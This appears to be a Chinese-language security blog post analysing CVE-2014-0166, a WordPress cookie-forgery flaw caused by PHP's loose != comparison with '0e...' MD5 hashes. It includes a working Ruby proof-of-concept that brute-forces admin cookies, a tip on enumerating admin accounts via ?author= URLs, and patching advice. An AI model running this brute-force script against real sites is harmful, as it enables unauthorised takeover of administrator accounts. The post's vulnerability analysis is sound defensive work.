前言
在一陣 OpenSSL Heartbleed 淘金潮中,又有一個技術門檻低、後果嚴重、也同樣需要些運氣的漏洞被揭發-CVE-2014-0166。CVE-2014-0166 是 WordPress 上面驗證登入 cookie 的弱點,攻擊者可以暴力偽造出合法 cookie,藉此獲得 WordPress 最高權限,進而拿到 shell 取得系統操作權。 讓我們來分析一下這次的弱點是發生了什麼事吧!
解析
這次出問題的程式碼在這邊,關鍵程式碼如下:
$key=wp_hash($username.$pass_frag.'|'.$expiration,$scheme);$hash=hash_hmac('md5',$username.'|'.$expiration,$key);if($hmac!=$hash){/** * Fires if a bad authentication cookie hash is encountered. * * @since 2.7.0 * * @param array $cookie_elements An array of data for the authentication cookie. */do_action('auth_cookie_bad_hash',$cookie_elements);returnfalse;}
問題主要發生在比較運算子 != 上面,!= 運算子是 non-strict,會在比較前先做型態轉換,所以下面看似應該是回傳 true 的例子,全部都顯示為 false,細節請參閱官方手冊。
var_dump(0!="a");// 0 != 0 -> falsevar_dump("1"!="01");// 1 != 1 -> falsevar_dump("10"!="1e1");// 10 != 10 -> falsevar_dump(100!="1e2");// 100 != 100 -> falsevar_dump("0"!="0e10123456789012345678901234567890");// 0 != 0 -> false
進入正題,WordPress 認證身分用的 cookie 內容是這樣的:『username|expiration|hmac』。
username 是使用者名稱,
expiration 是有效期限(timestamp),
hmac 值用來驗證 cookie 是否合法。
從上面程式碼可以看到,hmac 的算法是經過 username、pass_frag、expiration、key 綜合得出。若有辦法控制 cookie 中的 hmac 使伺服器認為該 cookie 合法,就可以成功偽造成 username。
利用稍早提到的比較運算子問題,若我們讓 cookie 中的 hmac 值為 0,很有可能讓判斷式變成下面這樣:
//if ( $hmac != $hash ) {if("0"!="0e10123456789012345678901234567890"){do_action('auth_cookie_bad_hash',$cookie_elements);returnfalse;}
如此便可以通過驗證,成功偽造合法 cookie。
而為了讓 $hash == 0,可以不斷改變 cookie 中的 expiration,讓產生的 MD5 值($hash)經過型態轉換後剛好變成 0。
符合 $hash == 0 的 MD5 $hash 值有
0eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX、00eXXXXXXXXXXXXXXXXXXXXXXXXXXXXX….000000000000000000000000000eX、00000000000000000000000000000 (X = 0,1,2,3,4,5,6,7,8,9)
故出現 $hash == 0 的機率為 Sum(10^n,n=0,30)/16^32 = 3.265262085617465e-09
每次偽造的成功機率約為三億分之一,並不會很高,但已經足夠在一個月內拿到最高權限,而且所耗成本並不會很高。
實驗
為了驗證此方法之可行性,我們架設了 WordPress 3.8.1環境。並且寫程式將登入 cookie 中的 hmac 設為 0,不斷調整 expiration 值測試是否已經登入,程式如下:
require'httpclient'http=HTTPClient.newcookie_name="WordPress_logged_in_de5be3cf9fcea023a1303527e10ea67a"timestamp=Time.now.to_i(timestamp..timestamp+800000000).eachdo|time|result=http.get('http://domain.my/WordPress/',nil,{"Cookie"=>"#{cookie_name}=admin%7C#{time}%7C0"})ifresult.body.include?'logout'puts"admin%7C#{time}%7C0"breakendend
註:此程式為 POC,請自行調整為多執行緒版本,不然速度會很慢。
經過一段長時間的等待,得到的結果如下:
得知當 cookie 中的 username 為 admin 且 expiration 值為 1421818232 時,伺服器算出來的 hmac 經過型態轉換會變成 0。我們將測試成功的 cookie 值: admin%7C1421818232%7C0 貼到瀏覽器上。成功變成 admin 如下圖,實驗成功!
註:一般狀況,若不知道 WordPress 最高權限的帳號,可以利用 WordPress 的 feature 在 http://your.WordPress.com/?author=$id ($id: 1,2,3,4…,999,…) 頁面中列舉所有使用者帳號。通常 $id = 1 的 author 都有 WordPress 的管理權限。
結論
最近出現了一個高風險通報 CVE-2014-0166,其中提及 WordPress 在舊版驗證 cookie 的部分出現弱點,可以偽造合法 cookie,進而取得 WordPress 管理權限。本文分析了其原理,並且證實之。
對於攻擊者而言,雖然每次偽造 cookie 成功的機率約為三億分之一並不高,但發送三億個 request 後或許能拿到最高權限,已經是值得投資的級數。
對於 WordPress 管理者而言,建議立即更新至 3.8.2 以後版本,以免受到此風險攻擊。
從此事件也提醒了 PHP 開發者,在撰寫重要的驗證行為,要特別注意 PHP 比較運算子的特性,請使用 === (不等於請用 !==)來保證等式左右型態與值為一樣,避免因為轉型造成的資安風險。